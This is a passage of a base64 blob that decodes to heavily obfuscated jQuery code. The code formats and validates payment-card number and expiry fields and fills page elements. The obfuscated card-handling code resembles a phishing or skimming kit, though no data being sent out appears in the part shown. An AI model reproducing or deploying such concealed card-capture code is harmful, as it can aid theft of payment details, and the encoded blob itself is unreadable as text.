VuY3Rpb24gXzB4MTRjZTU2KF8weDNmNGI2ZixfMHg0YTY3MTksXzB4MTg2YzRiLF8weDEwOTk2OSl7cmV0dXJuIF8weDE4NTgwZShfMHgzZjRiNmYtMHgxNyxfMHg0YTY3MTktMHgxZDMsXzB4MTg2YzRiLTB4NjlhLF8weDNmNGI2Zik7fWZ1bmN0aW9uIF8weDdhMGFhYyhfMHgzYzE0M2IsXzB4MzRjYTY0LF8weDVjYjIzNSxfMHgyNDNhNDYpe3JldHVybiBfMHgzNjBjZTgoXzB4M2MxNDNiLTB4ZjgsXzB4MzRjYTY0LF8weDVjYjIzNS0weGI1LF8weDI0M2E0Ni0gLTB4ZjcpO312YXIgXzB4MTQyZmNhLF8weDQwZWMwYztyZXR1cm4gXzB4NWViOTdhPV8weDIxMTFlZltfMHgxNGNlNTYoMHg0NGUsMHg3MDksMHg0OTcsMHgzZGEpXShfMHg1ZWI5N2EpLC9eXGQrJC9bXzB4N2EwYWFjKDB4NTAwLDB4OTRiLDB4OGIzLDB4NjY0KV0oXzB4NWViOTdhKT8oXzB4MTQyZmNhPV8weDQwNzkwOFtfMHg3YTBhYWMoMHg1NGYsMHg3YzUsMHg0NzcsMHg1YjApXShfMHgxNjEzOWIsXzB4NjhlNmVkKSxfMHg0MDc5MDhbXzB4N2EwYWFjKDB4NGFjLDB4NTE1LDB4NzJiLDB4NTgzKV0obnVsbCxfMHgxNDJmY2EpPyhfMHg0MGVjMGM9XzB4NWViOTdhW18weDE0Y2U1NigweGJkYywweDgxNywweDk4YSwweGE2ZSldLF8weDQwNzkwOFtfMHgxNGNlNTYoMHg3ZmEsMHgzYTUsMHg1MDIsMHgyNzMpXShfMHgzYzg3NzBbXzB4MTRjZTU2KDB4Nzc4LDB4OTU2LDB4N2NkLDB4ODMyKV0oXzB4MTQyZmNhW18weDdhMGFhYygweDk0ZSwweDc5MSwweDkzMywweDgyNykrXzB4MTRjZTU2KDB4MzA2LDB4ODdjLDB4NWE2LDB4NDg4KV0sXzB4NDBlYzBjKSwweDEwZDcrMHhiKi0weDM0YysweDEzNmQpKTpfMHg1ZWI5N2FbXzB4N2EwYWFjKDB4NjJhLDB4NmEwLDB4OWIzLDB4ODNhKV0+PTB4NzA4KzB4MTVmNystMHgxY2ZjJiZfMHg1ZWI5N2FbXzB4N2EwYWFjKDB4ODc3LDB4NWFhLDB4NmIzLDB4ODNhKV08PTB4YTgyKy0weDJlZSoweDcrLTB4NTAyKi0weDIpOiEoMHhlZmIrMHgxODc4Ky0weDI1MioweDExKTt9LF8weDIxMTFlZltfMHgzNjBjZTgoMHg2YzgsMHg4YmMsMHhhZWYsMHg4YmQpXVtfMHgxODU4MGUoLTB4MjMzLC0weDE3YywweGFlLDB4MmIpXT1mdW5jdGlvbihfMHgyMzQ3Yjcpe2Z1bmN0aW9uIF8weDMzNTk1MihfMHgyMDUxOGQsXzB4Mjg3N2NhLF8weGIzNzBlMixfMHgyMWE3M2Ype3JldHVybiBfMHgzNjBjZTgoXzB4MjA1MThkLTB4MTU2LF8weDIwNTE4ZCxfMHhiMzcwZTItMHgxZTksXzB4MjFhNzNmLSAtMHg0MzMpO31mdW5jdGlvbiBfMHgzZjRhMTgoXzB4NDQwZjIwLF8weDU1N2Q3YixfMHg0NTc5YTAsXzB4Y2U2ZDM5KXtyZXR1cm4gXzB4MTg1ODBlKF8weDQ0MGYyMC0weGFjLF8weDU1N2Q3Yi0weDFhOSxfMHhjZTZkMzktMHgxN2IsXzB4NTU3ZDdiKTt9dmFyIF8weDE0YTA2NDtyZXR1cm4gXzB4MjM0N2I3PyhudWxsIT0oXzB4MTRhMDY0PV8weDQwNzkwOFtfMHgzMzU5NTIoLTB4MTU5LDB4MmZhLDB4M2E1LDB4ZGQpXShfMHgxNDZlYWIsXzB4MjM0N2I3KSk/XzB4MTRhMDY0W18weDMzNTk1MigweDU1MCwweDJiZSwweDQyZiwweDJmYildOnZvaWQoLTB4ZjQqMHg5Ky0weDEqMHgxYjBmKzB4MjNhMykpfHxudWxsOm51bGw7fSxfMHgyMTExZWZbJ3BtbnQnXVsnZnJtdF9DX3JkTicrXzB4MzYwY2U4KDB4MzMzLDB4MmY2LDB4M2VkLDB4M2ZhKV09ZnVuY3Rpb24oXzB4M2VjY2JjKXt2YXIgXzB4NzhlYTFmPXsndGdXamMnOmZ1bmN0aW9uKF8weDE1NGRiOCxfMHg0ZDllNjEpe2Z1bmN0aW9uIF8weDM3NGViNChfMHgzMGFkNmUsXzB4MmM4NjZkLF8weDM1ZWRhMyxfMHgzYzI4YTApe3JldHVybiBfMHg0YzBmKF8weDJjODY2ZC0gLTB4N2IsXzB4M2MyOGEwKTt9cmV0dXJuIF8weDI0MTBlOFtfMHgzNzRlYjQoMHgxNWUsMHhiYywweDFiMiwtMHgxMGUpXShfMHgxNTRkYjgsXzB4NGQ5ZTYxKTt9LCduSFJrSCc6ZnVuY3Rpb24oXzB4NDdkZjZjLF8weDExN2M0NCl7cmV0dXJuIF8weDQ3ZGY2YytfMHgxMTdjNDQ7fSwnZEhDdWonOl8weDI0MTBlOFtfMHg0ZTVjN2UoMHg1NzQsMHg0NjcsMHg0MDYsMHg1ZjQpXSwnZEZNa0UnOmZ1bmN0aW9uKF8weDUzN2NjNyxfMHg0ZmUxODIpe2Z1bmN0aW9uIF8weDFiM2UyYyhfMHgzZjgxNDEsXzB4NTAwMWJkLF8weDU0ZjU0YixfMHgyNTUyZTEpe3JldHVybiBfMHg0ZTVjN2UoXzB4NTAwMWJkLF8weDUwMDFiZC0weDE4LF8weDU0ZjU0Yi0weDE4MyxfMHg1NGY1NGItIC0weDQxNik7fXJldHVybiBfMHgyNDEwZThbXzB4MWIzZTJjKDB4MWFkLC0weDEzNSwtMHg2ZCwtMHg0NildKF8weDUzN2NjNyxfMHg0ZmUxODIpO30sJ29KeUpUJzpfMHgyNDEwZThbJ29YeWVjJ119O2Z1bmN0aW9uIF8weDU3ODNjNChfMHgzMTdkYmEsXzB4M2EzMTZjLF8weDU4NmI0ZixfMHg0NWMyMTYpe3JldHVybiBfMHgzNjBjZTgoXzB4MzE3ZGJhLTB4MWViLF8weDQ1YzIxNixfMHg1ODZiNGYtMHgyZCxfMHgzYTMxNmMtIC0weGJhKTt9dmFyIF8weDQ1YjA2NSxfMHgyNGVhYjcsXzB4MTAzZDUyLF8weDUzMTUzOTtmdW5jdGlvbiBfMHg0ZTVjN2UoXzB4M2Q2MmRhLF8weDFjZTVmYixfMHgxN2Q3ZWMsXzB4NTQ1YzEwKXtyZXR1cm4gXzB4MTg1ODBlKF8weDNkNjJkYS0weGIzLF8weDFjZTVmYi0weGZkLF8weDU0NWMxMC0weDRiYyxfMHgzZDYyZGEpO31yZXR1cm4gXzB4M2VjY2JjPV8weDNlY2NiY1sncmVwbGFjZSddKC9cRC9nLCcnKSwoXzB4NDViMDY1PV8weDI0MTBlOFtfMHg1NzgzYzQoMHhhNTIsMHg5MDIsMHg2NzUsMHhiYjMpXShfMHgxNDZlYWIsXzB4M2VjY2JjKSk/KF8weDEwM2Q1Mj1fMHg0NWIwNjVbXzB4NGU1YzdlKDB4NzNiLDB4OTM0LDB4NmIzLDB4N2FjKV1bXzB4MjQxMGU4W18weDU3ODNjNCgweDQwOSwweDQyMywweDRmNCwweDNmZCldKF8weDQ1YjA2NVsnbGVuZ3RoJ11bXzB4NGU1YzdlKDB4YTkzLDB4OWNmLDB4OTU4LDB4N2FjKV0sLTB4MWNlYSoweDErMHgxYjdlKzB4MTZkKV0sXzB4M2VjY2JjPV8weDNlY2NiY1tfMHg1NzgzYzQoMHg1NjMsMHg0ZjEsMHgyMjEsMHg1ZGIpXSgweDIwY2MrMHgxKjB4YTViKy0weDJiMjcsXzB4MTAzZDUyKSxfMHg0NWIwNjVbJ2Zvcm1hdCddW18weDRlNWM3ZSgweDMzYiwweDgzMSwweDUwNywweDUzYSldP18weDI0MTBlOFtfMHg0ZTVjN2UoMHg0MTYsMHg1N2MsMHg5M2YsMHg2YTApXShudWxsLF8weDUzMTUzOT1fMHgzZWNjYmNbXzB4NGU1YzdlKDB4NGZjLDB4M2MxLDB4M2U0LDB4MmNmKV0oXzB4NDViMDY1Wydmb3JtYXQnXSkpP18weDUzMTUzOVtfMHg0ZTVjN2UoMHgzNTksMHg0NGEsMHg4NWQsMHg1ODUpXSgnXHgyMCcpOnZvaWQoMHgxKjB4MjMyYisweDFmODcrLTB4NDJiMik6KF8weDI0ZWFiNz1fMHg0NWIwNjVbJ2Zvcm1hdCddW18weDRlNWM3ZSgweDQzMywweDYyZSwweDI2MywweDNkYyldKF8weDNlY2NiYyksbnVsbCE9XzB4MjRlYWI3PyhfMHgyNGVhYjdbXzB4NTc4M2M0KDB4MzYyLDB4NjFkLDB4NTlmLDB4OGJkKV0oKSxfMHgyNGVhYjc9XzB4MjExMWVmWydncmVwJ10oXzB4MjRlYWI3LGZ1bmN0aW9uKF8weDU4MmYxYSl7dmFyIF8weDQxMmRlOT17J2FGTFJIJzpmdW5jdGlvbihfMHg1N2IzOWMsXzB4NDgwOWI5KXtmdW5jdGlvbiBfMHgyYWE1ZWYoXzB4MWQ4Y2JjLF8weDI3ZWM1MixfMHgxMzliY2QsXzB4NDdlMWI0KXtyZXR1cm4gXzB4NGMwZihfMHgxZDhjYmMtMHgyOSxfMHgyN2VjNTIpO31yZXR1cm4gXzB4NzhlYTFmW18weDJhYTVlZigweDYxMywweDg2YywweDg0ZiwweDczMCldKF8weDU3YjM5YyxfMHg0ODA5YjkpO30sJ2hwUVZIJzpmdW5jdGlvbihfMHgyNDc3NjIsXzB4MjNjNDA4KXtmdW5jdGlvbiBfMHgzZTZjNWEoXzB4NDc0OGQ1LF8weDNlMGEyNixfMHgyMmY1OGIsXzB4MjA0Njk3KXtyZXR1cm4gXzB4NGMwZihfMHgyMDQ2OTctMHgzYjgsXzB4NDc0OGQ1KTt9cmV0dXJuIF8weDc4ZWExZltfMHgzZTZjNWEoMHgzYjksMHg0NTMsMHg1MjAsMHg1NGUpXShfMHgyNDc3NjIsXzB4MjNjNDA4KTt9LCdvT0daSyc6XzB4NzhlYTFmW18weDU1ZTEyMygweDE5ZiwweDQ5MywweDRlLDB4MzUxKV19O2Z1bmN0aW9uIF8weDRhNjRmNyhfMHgxMzEyMmUsXzB4NDZjMzRjLF8weDMxMjA5MixfMHgxYWMzMTcpe3JldHVybiBfMHg1NzgzYzQoXzB4MTMxMjJlLTB4MWUyLF8weDFhYzMxNy0gLTB4NGJkLF8weDMxMjA5Mi0weDNhLF8weDEzMTIyZSk7fWZ1bmN0aW9uIF8weDU1ZTEyMyhfMHg0YjgzZTMsXzB4MjVhMjBiLF8weDdjODc0YixfMHgyZTQ3ODUpe3JldHVybiBfMHg1NzgzYzQoXzB4NGI4M2UzLTB4MTI1LF8weDRiODNlMy0gLTB4MzM4LF8weDdjODc0Yi0weDExNyxfMHgyNWEyMGIpO31yZXR1cm4gXzB4NzhlYTFmW18weDRhNjRmNygweDRmNywweDQ0LDB4YzQsMHgyZDcpXSgnRktHck4nLF8weDc4ZWExZlsnb0p5SlQnXSk/XzB4NTgyZjFhOl8weDQyYzVkM1tfMHg1NWUxMjMoMHg4MSwweGYyLC0weDI1YSwweGVmKV0oXzB4NDEyZGU5W18weDRhNjRmNygweDIwMCwweDM1ZSwweDI0YSwweDJhYildKF8weDQxMmRlOVtfMHg0YTY0ZjcoLTB4ZjcsLTB4Mzg3LC0weDJhLC0weDExMCldKCcwJyxfMHgxYmI0YTkpLF8weDQxMmRlOVtfMHg0YTY0ZjcoMHgzOTksMHg1N2UsMHgxODUsMHgyYTMpXSkpO30pLF8weDI0ZWFiN1tfMHg0ZTVjN2UoMHgzZjIsMHg3NjcsMHg0ZmYsMHg1ODUpXSgnXHgyMCcpKTp2b2lkKC0weDFkYzErMHgyYjMqLTB4MSstMHgxKi0weDIwNzQpKSk6XzB4M2VjY2JjO30sXzB4MjExMWVmW18weDE4NTgwZSgweDZiLDB4MzBmLDB4MjdjLC0weDQwKV1bXzB4MTg1ODBlKDB4Mzg1LDB4NDg2LDB4Mjc2LDB4NTU1KSsncnknXT1mdW5jdGlvbihfMHgxZmQ0OWQpe2Z1bmN0aW9uIF8weDEzNGRjOChfMHg0YWZiNDQsXzB4NDU5ODk0LF8weDFmZjA1MSxfMHgyYjY0NDQpe3JldHVybiBfMHgxODU4MGUoXzB4NGFmYjQ0LTB4MWE5LF8weDQ1OTg5NC0weDFiYyxfMHgyYjY0NDQtMHgxZGYsXzB4MWZmMDUxKTt9ZnVuY3Rpb24gXzB4NGQyNjAyKF8weDI0OTljZSxfMHgzMjkzYTIsXzB4MWM5ZGU0LF8weDIwOTAxYyl7cmV0dXJuIF8weDE4NTgwZShfMHgyNDk5Y2UtMHhiMCxfMHgzMjkzYTItMHgxMWUsXzB4MjA5MDFjLTB4ODMsXzB4MWM5ZGU0KTt9dmFyIF8weDM2OGRiMixfMHgzYjYyYzcsXzB4MmZiODgwLF8weDI1Mjg0ZTtyZXR1cm4oXzB4M2I2MmM3PV8weDFmZDQ5ZFtfMHgxMzRkYzgoLTB4MmQzLC0weDEyMSwweDE2NCwtMHhlKV0oL15cRCooXGR7MSwyfSkoXEQrKT8oXGR7MSw0fSk/LykpPyhfMHgzNjhkYjI9XzB4M2I2MmM3WzB4MjM2YioweDErLTB4MjYwOSstMHgxKi0weDI5Zl18fCcnLF8weDJmYjg4MD1fMHgzYjYyYzdbLTB4MyotMHg4YjMrLTB4MWI0NisweDEyZl18fCcnLF8weDI1Mjg0ZT1fMHgzYjYyYzdbMHgyMzU4Ky0weDE5ODErLTB4OWQ0XXx8JycsXzB4MjUyODRlWydsZW5ndGgnXT4weDI0NjgrLTB4ZSoweDI2OSstMHgyYWE/XzB4MmZiODgwPV8weDQwNzkwOFtfMHgxMzRkYzgoMHgzMTMsLTB4MmNiLC0weDJiYSwweDFhKV06J1x4MjAvJz09PV8weDJmYjg4MD8oXzB4MzY4ZGIyPV8weDM2OGRiMltfMHgxMzRkYzgoMHgxMGYsMHgxNTcsMHg0OTUsMHgyMjUpXSgweDhlNSstMHg3NTIqLTB4MSstMHgxMDM3LDB4Njc2Ki0weDUrLTB4MTI4MistMHgxKi0weDMyZDEpLF8weDJmYjg4MD0nJyk6XzB4NDA3OTA4W18weDEzNGRjOCgweDZlOCwweDU4YSwweDRkMiwweDQxNildKDB4MTc3ZisweDEqLTB4MjRmMisweGQ3NSxfMHgzNjhkYjJbXzB4NGQyNjAyKDB4MWJjLDB4M2U4LDB4NWI1LDB4MzczKV0pfHxfMHg0MDc5MDhbXzB4NGQyNjAyKDB4MWEyLDB4MTczLDB4MmM4LDB4M2YzKV0oXzB4MmZiODgwW18weDEzNGRjOCgweDZjYiwweDdiNiwweDU4NiwweDRjZildLDB4NmIqMHg0ZisweDEwZGUrMHgyMSotMHgxODMpP18weDJmYjg4MD1fMHg0MDc5MDhbXzB4NGQyNjAyKC0weDIyNSwtMHgyZGMsMHhmNywtMHgxNDIpXTpfMHg0MDc5MDhbJ0VTeWpWJ10oMHg3MTErMHgxYTMxKy0weDEqMHgyMTQxLF8weDM2OGRiMltfMHg0ZDI2MDIoMHgxZDQsMHgyZTMsMHg1MjgsMHgzNzMpXSkmJl8weDQwNzkwOFsncWlqU0EnXSgnMCcsXzB4MzY4ZGIyKSYmXzB4NDA3OTA4W18weDRkMjYwMigweDI3OCwtMHg3OCwweGE0LDB4MTkpXSgnMScsXzB4MzY4ZGIyKSYmKF8weDM2OGRiMj1fMHg0MDc5MDhbXzB4MTM0ZGM4KDB4NzExLDB4NzkyLDB4NjhmLDB4NTE2KV0oJzAnLF8weDM2OGRiMiksXzB4MmZiODgwPV8weDQwNzkwOFtfMHgxMzRkYzgoMHgxMTcsLTB4MTcwLDB4NjksMHgxYSldKSxfMHg0MDc5MDhbXzB4MTM0ZGM4KDB4NjM0LDB4NTJjLDB4N2Q3LDB4NTE2KV0oXzB4MzY4ZGIyK18weDJmYjg4MCxfMHgyNTI4NGUpKTonJzt9KTt9W18weDIxNDI2MCgweDIwMiwweDExMywweDUwNiwweDMyMCldKHRoaXMpO2Z1bmN0aW9uIF8weDIxNDI2MChfMHg1NDQ4N2IsXzB4MjAwYWEzLF8weDRkZDhjMCxfMHgyYTdmYmYpe3JldHVybiBfMHg1ZGJiYzgoXzB4NTQ0ODdiLTB4NGEsXzB4MmE3ZmJmLSAtMHgyOGQsXzB4NGRkOGMwLTB4MWYxLF8weDIwMGFhMyk7fWRvY3VtZW50W18weDJmNTM0OVtfMHgyMTYyN2UoMHg2MDksMHg1NTEsMHg1ZjgsMHgzZDApXV09XzB4MTMyMDIzW18weDIxNDI2MCgweDM0NiwweDVlNywweDIxZSwweDRjNCldLF8weDJmNTM0OVsnendDc1EnXSgkLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg1NiwweDFhMSwweDFlMywweDI2ZCldKVtfMHgyZjUzNDlbXzB4MjE2MjdlKDB4OTksMHgxY2YsMHgxZWEsMHgzNmYpXV0oXzB4MTMyMDIzW18weDJmNTM0OVtfMHgyMTQyNjAoMHg1ODgsMHgyZGQsMHg0ZmYsMHgyYWMpXV0pLF8weDJmNTM0OVsnbU1CUXknXSgkLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyOTksMHg0ZjYsMHg1YTUsMHg1ODMpXSlbXzB4MmY1MzQ5WydoZExWcSddXShfMHgxMzIwMjNbXzB4MmY1MzQ5W18weDIxNDI2MCgweDI1MiwweDE0MiwtMHgxMTgsLTB4MTQpXV0pLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgxMjYsLTB4Y2YsMHgxYmEsMHgyMDApXSgkLF8weDJmNTM0OVsnSXhXelQnXSlbXzB4MmY1MzQ5WydXWkxXYyddXSgpW18weDJmNTM0OVtfMHgyMTYyN2UoMHgyZGMsMHg1ZDIsMHgzNmEsMHgzNmYpXV0oXzB4MTMyMDIzW18weDJmNTM0OVtfMHgyMTYyN2UoMHg1NzYsMHg3ZWEsMHg2ZDMsMHg3YTUpXV0pLF8weDJmNTM0OVtfMHgyMTYyN2UoMHgxYTMsMHg0ZjgsLTB4MzcsMHgyM2EpXSgkLF8weDJmNTM0OVtfMHgyMTYyN2UoMHgzOWEsMHg2ZDMsMHgyZjYsMHg0MDApXSksXzB4MmY1MzQ5W18weDIxNDI2MCgweDlmLDB4NWRjLDB4MjMwLDB4MzVhKV0oJCxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NGEzLDB4N2Y1LDB4OTYxLDB4NjgwKV0pW18weDJmNTM0OVtfMHgyMTQyNjAoLTB4NzYsMHgyMzcsLTB4YjAsMHg0ZSldXSgpWydodG1sJ10oXzB4MTMyMDIzWydmb3VydGhCbG9jJysnayddKSxfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MjI5LDB4MWYxLDB4MWRhLDB4MjkpXSgkLCcuYi10aW1lXHgyMGgyJylbXzB4MmY1MzQ5WydoZExWcSddXShfMHgxMzIwMjNbXzB4MmY1MzQ5W18weDIxNjI3ZSgweDhkLDB4NGY0LDB4NDYxLDB4MzMwKV1dKSwkKF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyOGYsMHgyZDgsMHg0MWUsMHgxODEpXSlbXzB4MmY1MzQ5W18weDIxNjI3ZSgweDFiOSwweDUyYiwweDMyOSwweDM2ZildXShfMHgxMzIwMjNbXzB4MmY1MzQ5W18weDIxNjI3ZSgweDViMCwweDYxOCwweDQxYSwweDRlMCldXSksXzB4MmY1MzQ5WydGemJtVCddKCQsXzB4MmY1MzQ5WydyQWFDVSddKF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyMmEsMHg0NjIsMHg0MjMsMHgyMmUpXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MjZlLDB4MjQxLC0weDEzYiwweDMpXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4YzEsMHhjLDB4MjU0LDB4MTVkKV0sc3N0cmluZyksXzB4MmY1MzQ5W18weDIxNjI3ZSgweDY1ZSwweDU5YSwweDRjNSwweDcxZSldKSxzc3RyaW5nKSsnZXInKVtfMHgyZjUzNDlbXzB4MjE0MjYwKDB4NWUwLDB4NGU3LDB4MzRjLDB4NGZlKV1dKF8weDJmNTM0OVtfMHgyMTYyN2UoMHg1NGQsMHg1NTgsMHg3YWYsMHg3MTkpXSlbJ29uJ10oXzB4MjE0MjYwKC0weDFiZiwweDE4YywtMHhlNiwweDgyKSxmdW5jdGlvbigpe3ZhciBfMHg0MzQzYWQ9eydWR1RsZCc6ZnVuY3Rpb24oXzB4NGMyODFjLF8weDViNjU4Mil7cmV0dXJuIF8weDI0MTBlOFsnUXpmUWcnXShfMHg0YzI4MWMsXzB4NWI2NTgyKTt9LCdVeHNUVic6ZnVuY3Rpb24oXzB4MTJiYzk2LF8weDUxNzQ4Yil7cmV0dXJuIF8weDEyYmM5NitfMHg1MTc0OGI7fSwnV1Fxa2cnOmZ1bmN0aW9uKF8weDQyMjc4OCxfMHgxNGYzYzIpe2Z1bmN0aW9uIF8weDE3YzgzMShfMHgxNjJiYjMsXzB4MTg2NGQ3LF8weGNjZWJmMCxfMHhiZGRkZjApe3JldHVybiBfMHg0YzBmKF8weGNjZWJmMC0weDExNSxfMHgxNjJiYjMpO31yZXR1cm4gXzB4MjQxMGU4W18weDE3YzgzMSgweDRkZiwweDVkNiwweDJlYywweDU2OCldKF8weDQyMjc4OCxfMHgxNGYzYzIpO30sJ3FxeEFCJzpmdW5jdGlvbihfMHgxZGQzMWMsXzB4NTc1ZTMxKXtmdW5jdGlvbiBfMHg1Nzk2NGQoXzB4NWJlMzA3LF8weDE2YTVmYyxfMHgyNzMwYjUsXzB4NGJkZDk5KXtyZXR1cm4gXzB4NGMwZihfMHgxNmE1ZmMtMHgxZDgsXzB4NGJkZDk5KTt9cmV0dXJuIF8weDI0MTBlOFtfMHg1Nzk2NGQoMHg0NzAsMHgzYWYsMHgyNGUsMHgzMjYpXShfMHgxZGQzMWMsXzB4NTc1ZTMxKTt9LCd2UnZzRyc6XzB4MjQyODIyKDB4MzlkLDB4NTMwLDB4NTcxLDB4NDcxKX07ZnVuY3Rpb24gXzB4MjE0ZTM3KF8weDJhMzc3YyxfMHg1ZDNkYmIsXzB4MTgwNzU5LF8weDFmYTE3Nyl7cmV0dXJuIF8weDIxNjI3ZShfMHg1ZDNkYmIsXzB4NWQzZGJiLTB4MWMxLF8weDE4MDc1OS0weDVjLF8weDFmYTE3Ny0weDU5KTt9ZnVuY3Rpb24gXzB4MjQyODIyKF8weGQ3NjhhYyxfMHgzM2Q3YjUsXzB4M2Y1YTVhLF8weDQyOTk1Myl7cmV0dXJuIF8weDIxNDI2MChfMHhkNzY4YWMtMHhlYSxfMHgzZjVhNWEsXzB4M2Y1YTVhLTB4MTFiLF8weDMzZDdiNS0weDJmNSk7fWlmKF8weDI0MTBlOFtfMHgyMTRlMzcoMHg2ZTMsMHg3MmUsMHg3ZDIsMHg3OTgpXShfMHgyNDEwZThbXzB4MjE0ZTM3KDB4ODNhLDB4NDM4LDB4NWEzLDB4NzI1KV0sXzB4MjQxMGU4W18weDIxNGUzNygweDY1OSwweDliNCwweDQ5MCwweDcyNSldKSl7JCh0aGlzKVtfMHgyNDEwZThbJ29zb29mJ11dKF8weDIxNGUzNygweDZkMCwweDQyZCwweDNkYiwweDVhOCkpO3ZhciBfMHgzNzMzYjM9XzB4MjQxMGU4W18weDIxNGUzNygweDM0ZiwweDZkMSwweDNkYywweDRjMildKCQsdGhpcylbXzB4MjQxMGU4W18weDI0MjgyMigweDczYywweDUzYiwweDgxYSwweDUxMSldXSgpO18weDI0MTBlOFsnRFF0clInXSgoXzB4MzczM2IzPV8weDM3MzNiM1tfMHgyNDEwZThbXzB4MjQyODIyKDB4NzIwLDB4NmU4LDB4Njk4LDB4NmNmKV1dKC9ccy9nLCcnKSlbJ2xlbmd0aCddLDB4MyoweDdhMSstMHgxZjczKi0weDErMHgxKi0weDM2NGEpfHwoXzB4MjQxMGU4WydHUlpwUiddKF8weDM3MzNiM1snbGVuZ3RoJ10sLTB4OThhKzB4ODEqMHgzYistMHgxNDIxKjB4MSl8fCEkW18weDIxNGUzNygweDk3NCwweDhkMCwweDljYywweDcyZSldW18weDI0MTBlOFsnaHVJaGInXV0oXzB4MzczM2IzKT9fMHgyNDEwZThbJ1VBeEdzJ10oJCx0aGlzKVtfMHgyNDI4MjIoMHg5MmUsMHg2ODYsMHg2M2UsMHgzYjIpXShfMHgyNDEwZThbXzB4MjE0ZTM3KDB4MjkwLDB4NTc1LDB4NTc1LDB4NDlkKV0pW18weDIxNGUzNygweDgzOCwweDdmZSwweDJlOSwweDU3ZildKCk6XzB4MjQxMGU4W18weDI0MjgyMigweDY3OSwweDRkZiwweDM3ZCwweDQ2MildKF8weDViZWQyYSlbXzB4MjQxMGU4WydRYkdxSyddXSgpKTt9ZWxzZSByZXR1cm4gXzB4NDM0M2FkWydWR1RsZCddKF8weDFmN2VjYSxfMHg0MzQzYWRbXzB4MjQyODIyKDB4NjBhLDB4NzRlLDB4ODFjLDB4NzU4KV0oXzB4NDM0M2FkW18weDI0MjgyMigweDQ0MCwweDUzZSwweDVmMywweDdmYildKF8weDQzNDNhZFtfMHgyMTRlMzcoMHg2MTMsMHg1YjAsMHg1MDEsMHg1YjApXSgnI2NhJytfMHgzNzUyYzgsXzB4MjQyODIyKDB4NGQ2LDB4NmI4LDB4M2ZjLDB4NTI3KSksXzB4MmU5ZTAwKSxfMHg0MzQzYWRbJ3ZSdnNHJ10pKTt9KVtfMHgyZjUzNDlbJ2FQd2x3J11dKF8weDJmNTM0OVsnT1pVSGwnXSxfMHgxMzIwMjNbXzB4MmY1MzQ5WydvQmVyeCddKF8weDJmNTM0OVtfMHgyMTYyN2UoMHg2ODcsMHg5NmMsMHg3MjUsMHg2OWYpXSgnY2EnLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg4YTksMHg4NDIsMHg4NDUsMHg1YjMpXSksXzB4MmY1MzQ5W18weDIxNDI2MCgweDFkYiwweDQ3MywweDI0MCwweDI0OCldKV0pLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg2MDAsMHg1MWUsMHg0YmQsMHg3OGUpXSgkLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg1NWMsMHgzZDQsMHg0NDEsMHg0ZjYpXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MmM1LDB4NDFhLDB4Mjg5LDB4MThiKV0oXzB4MmY1MzQ5W18weDIxNDI2MCgweDNlMCwweDVlNiwweDVhOCwweDNhYildKF8weDJmNTM0OVtfMHgyMTQyNjAoLTB4MzFjLDB4MjU0LDB4MWUzLC0weDM0KV0oXzB4MmY1MzQ5W18weDIxNDI2MCgweDM2NSwweDdkOCwweDMxZSwweDRlMildKF8weDJmNTM0OVsnSUtRY2cnXShfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NDZjLC0weDI1LDB4NDk2LDB4MjZmKV0oXzB4MmY1MzQ5W18weDIxNDI2MCgweDJkOSwweDJlYSwweDJlLDB4MTVkKV0sc3N0cmluZyksXzB4MmY1MzQ5W18weDIxNDI2MCgweDJkNSwweDM1MSwweDM1OSwweDI2YSldKStzc3RyaW5nLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgxMjIsMHgxMDEsLTB4MWFiLDB4MTM0KV0pLHNzdHJpbmcpLF8weDIxNjI3ZSgweDRhNSwweDZkMywweDczNywweDYwYikpLHNzdHJpbmcpLCdhcicpKVsnb24nXShfMHgyMTYyN2UoMHgyZWYsMHg0OTMsMHgyNDUsMHgyZWUpLGZ1bmN0aW9uKF8weDFkZTU5YSl7ZnVuY3Rpb24gXzB4NTNhN2U3KF8weDFlZDI0OSxfMHg2MzcyYSxfMHg1NzU0YzQsXzB4NTc5YzZlKXtyZXR1cm4gXzB4MjE0MjYwKF8weDFlZDI0OS0weGU5LF8weDU3NTRjNCxfMHg1NzU0YzQtMHgxOWEsXzB4MWVkMjQ5LTB4MmUyKTt9ZnVuY3Rpb24gXzB4YTFlYjQzKF8weDJiOTU0NixfMHgzOWMyZjMsXzB4MzgyMGQ3LF8weDUyNmY2Nyl7cmV0dXJuIF8weDIxNjI3ZShfMHgzOWMyZjMsXzB4MzljMmYzLTB4Y2IsXzB4MzgyMGQ3LTB4MWVkLF8weDM4MjBkNy0gLTB4MTgwKTt9dmFyIF8weDFkOTk2MT17J0FXY01PJzpmdW5jdGlvbihfMHg0MTEwMmIsXzB4NTVmOGY5KXtyZXR1cm4gXzB4NDExMDJiKF8weDU1ZjhmOSk7fSwnVnZEa1YnOmZ1bmN0aW9uKF8weDVkOTIwYixfMHg1ODlhNGUsXzB4NTVjZTYwKXtyZXR1cm4gXzB4MTFjNTk1WydwekN0QSddKF8weDVkOTIwYixfMHg1ODlhNGUsXzB4NTVjZTYwKTt9fTtpZihfMHgxMWM1OTVbJ0pnS3BvJ10oXzB4MTFjNTk1W18weDUzYTdlNygweDRkNiwweDNkNCwweDZlNywweDIwNSldLF8weDExYzU5NVtfMHg1M2E3ZTcoMHg0ZDYsMHgyZWUsMHg2YjEsMHg0MmIpXSkpe2lmKF8weDExYzU5NVtfMHhhMWViNDMoMHg1NjQsMHgzZmUsMHgzMmUsMHgyMzMpXSgkLF8weDExYzU5NVtfMHg1M2E3ZTcoMHgzNTksMHgxNzksMHg0NzEsMHg0NTMpXShfMHgxMWM1OTVbJ2VqeUNRJ10oXzB4MTFjNTk1W18weGExZWI0MygtMHgzMSwweDI5MSwweGVlLDB4MTVhKV0oXzB4MTFjNTk1W18weDUzYTdlNygweDViYiwweDU5YywweDUwNywweDczMSldKF8weDExYzU5NVtfMHhhMWViNDMoMHg4Y2I